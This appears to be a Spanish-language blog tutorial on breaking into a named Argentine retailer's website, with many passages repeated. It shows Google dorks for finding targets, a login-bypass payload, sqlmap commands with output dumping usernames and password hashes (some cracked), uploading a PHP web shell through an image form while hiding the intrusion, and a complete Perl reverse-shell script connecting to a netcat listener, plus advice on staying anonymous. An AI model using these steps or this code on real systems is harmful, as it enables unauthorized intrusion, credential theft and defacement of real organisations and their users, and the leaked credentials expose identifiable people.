Intrucion a un Servidor Por Sqli y Obtener shell Remota
1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)
Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.
1) Conceptos Basicos de Netcat
Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)
Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados
Ncat -l -p "N" -vv "IP/Domain" -e "Commando"
Esta linea lo q hace es
-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd
Ncat -l -p 9669 -vv 192.168.1.58 -e cmd
Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)
Explicacion Grafica
PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"
Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente
Netcat Tambien se puede usar como Cliente de la siguiente manera
Ncat -vv "IP" "Puerto"
De esta manera Ncat se conectara a la IP:PUERTO deseado
2) Primero q nada que es una vulnerabilidad SQL
Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre
Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce
EL SOURCE:
<%
usuario=request.form("usuario")
pass=request.form("pass")
sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>
Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"
Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE
Ej
Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true
SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='
esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password
Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.
Como buscar una pagina vulnerable a SQLi
Existe Muchos Dorks de busqueda en Google un ejemplo seria
inurl:*.php?*=* site:.com.ar
Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar
Vamos a un Ejemplo Practico
www.cetrogar.com.ar/result.php?cat=6
Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection
http://www.cetrogar.com.ar/result.php?cat='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection
http://www.cetrogar.com.ar/result.php?cat='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP
Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:
http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html
Nos vamos a Sqlmap
Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:
http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html
Nos vamos a Sqlmap
Parametros Basicos
--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump
Siendo la web Injectable los parametros haran los siguiente
--url="Establecer URL Y MODULO Injectable" (http://www.cetrogar.com.ar/result.php?cat=6"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla
Ejemplos
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" --dbs
Esto nos devolvera Todas las bases de datos q corren en la web
available databases [2]:
--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump
Siendo la web Injectable los parametros haran los siguiente
--url="Establecer URL Y MODULO Injectable" (http://www.cetrogar.com.ar/result.php?cat=6"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla
Ejemplos
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" --dbs
Esto nos devolvera Todas las bases de datos q corren en la web
available databases [2]:
- cetrogar
- information_schema
Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar --tables
Nos Mostrara lo siguiente:
| activadores
| actualizacion_concurso
| bancos_tarjetas
| beneficios_novios
| casamientos
| casamientos_articulos
| categorias
| cetre_productosbackup
| cetro_productos
| cetro_productos_cosquin
| cetro_productos_jesusmaria
| cetro_productos_mayo
| cetro_productos_tostado
| cetro_usuarios
| cetroplus_categoria
| cetroplus_productos
| envio
| envio_postales
| gerentes
| grupos_concurso
| grupos_vendedores
| localidad
| log
| marcas
| novedades
| origen
| origenesexcel
| pais
| participantes_concursomama
| postales
| premios
| premios_aperturasuc
| premios_aperturasuc2
| premios_morteros
| premios_participantes
| premios_participantes_aperturasuc
| premios_participantes_aperturasuc2
| premios_participantes_morteros
| productos
| promo_ganantodos
| promociones
| provincia
| puntos_cetroplus
| subcategorias
| subproductos
| sucursales
| usuarios
| usuarios_cetroplus
| usuarios_concurso
| vendedores_mensual
| vendedores_trimestral
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar --tables
Nos Mostrara lo siguiente:
| activadores
| actualizacion_concurso
| bancos_tarjetas
| beneficios_novios
| casamientos
| casamientos_articulos
| categorias
| cetre_productosbackup
| cetro_productos
| cetro_productos_cosquin
| cetro_productos_jesusmaria
| cetro_productos_mayo
| cetro_productos_tostado
| cetro_usuarios
| cetroplus_categoria
| cetroplus_productos
| envio
| envio_postales
| gerentes
| grupos_concurso
| grupos_vendedores
| localidad
| log
| marcas
| novedades
| origen
| origenesexcel
| pais
| participantes_concursomama
| postales
| premios
| premios_aperturasuc
| premios_aperturasuc2
| premios_morteros
| premios_participantes
| premios_participantes_aperturasuc
| premios_participantes_aperturasuc2
| premios_participantes_morteros
| productos
| promo_ganantodos
| promociones
| provincia
| puntos_cetroplus
| subcategorias
| subproductos
| sucursales
| usuarios
| usuarios_cetroplus
| usuarios_concurso
| vendedores_mensual
| vendedores_trimestral
Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --columns
Nos devolvera:
+--------------+----------------------+
| Column | Type
+--------------+----------------------+
| ID | smallint(6) unsigned
| nivel_acceso | smallint(4) unsigned
| pass | tinytext
| usuario | tinytext
+--------------+----------------------+
y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --dump
+----+--------------+-------------------------------------------+-----------+
| ID | nivel_acceso | pass | usuario
+----+--------------+-------------------------------------------+-----------+
| 8 | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro
| 7 | 0| 992112e53d3eb06c6bb87701a4574052 | silvanac
| 6 | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78 | fernando
| 5 | 0| 34e09b9b490217de9c31f528a2a8a57d | rocioc
| 3 | 0| 1d96afbde5ac96a4b3d9814030f541c5 | marianoq|
| 2 | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n) | Admin
+----+--------------+-------------------------------------------+-----------+
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --columns
Nos devolvera:
+--------------+----------------------+
| Column | Type
+--------------+----------------------+
| ID | smallint(6) unsigned
| nivel_acceso | smallint(4) unsigned
| pass | tinytext
| usuario | tinytext
+--------------+----------------------+
y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior
sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --dump
+----+--------------+-------------------------------------------+-----------+
| ID | nivel_acceso | pass | usuario
+----+--------------+-------------------------------------------+-----------+
| 8 | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro
| 7 | 0| 992112e53d3eb06c6bb87701a4574052 | silvanac
| 6 | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78 | fernando
| 5 | 0| 34e09b9b490217de9c31f528a2a8a57d | rocioc
| 3 | 0| 1d96afbde5ac96a4b3d9814030f541c5 | marianoq|
| 2 | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n) | Admin
+----+--------------+-------------------------------------------+-----------+
Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
(ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)
http://www.cetrogar.com.ar/admin/
y aca nos aparece nuestro querido panel de logeo
(ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)
http://www.cetrogar.com.ar/admin/
y aca nos aparece nuestro querido panel de logeo
Ingresamos los datos correspondiente mente y accedemos
(Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)
Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:
http://www.cetrogar.com.ar/imgs/beneficios/1/amerian%20hotel.jpg
(Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
Siendo:
http://www.cetrogar.com.ar/imgs/beneficios/1/
donde se almacenan las fotos
Subimos Nuetras phpshell
(Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)
Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:
http://www.cetrogar.com.ar/imgs/beneficios/1/amerian%20hotel.jpg
(Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
Siendo:
http://www.cetrogar.com.ar/imgs/beneficios/1/
donde se almacenan las fotos
Subimos Nuetras phpshell
y volvemos a subir la foto original (respaldo para q no cantara)
ya que si no lo hacemos la imagen aparecera como rota
ya que si no lo hacemos la imagen aparecera como rota
Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
http://www.cetrogar.com.ar/imgs/beneficios/1/ee12.php
http://www.cetrogar.com.ar/imgs/beneficios/1/ee12.php
Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:
subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell
#!/usr/bin/perl use IO::Socket; print q( ============ HD_Breaker ============ ); $ARGC = @ARGV; if ($ARGC != 3){ print "\nUsage: rsh.pl"; exit(0); } $host = $ARGV[0]; $port = $ARGV[1]; $OS = $ARGV[2]; use Socket; print " Connecting to $host ..."; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "[-] Cannot Resolve $host"; connect(SOCKET, sockaddr_in($port, inet_aton($host))) || die "[-] Cannot Connect to $host"; print "\n Connected!"; open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "\n .::Powered By HD_Breaker"; if ($OS == "-l"){ $ejecutor = "/bin/bash"; system($ejecutor); } if ($OS == "-w"){ $ejecutor = "cmd"; system($ejecutor); }
subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell
He aqui el porq este Tutorial Empeso por el uso de Netcat
Abrimos Nuestra consona y ponemos a la escucha un puerto
Ncat -l -p 9669 -vv 192.168.1.2
Abrimos Nuestra consona y ponemos a la escucha un puerto
Ncat -l -p 9669 -vv 192.168.1.2
y ejecutamos el ReverseShell desde nuestra phpshell
y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface
Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector
Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.
HD_Breaker
Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.
HD_Breaker
0 comentarios:
Publicar un comentario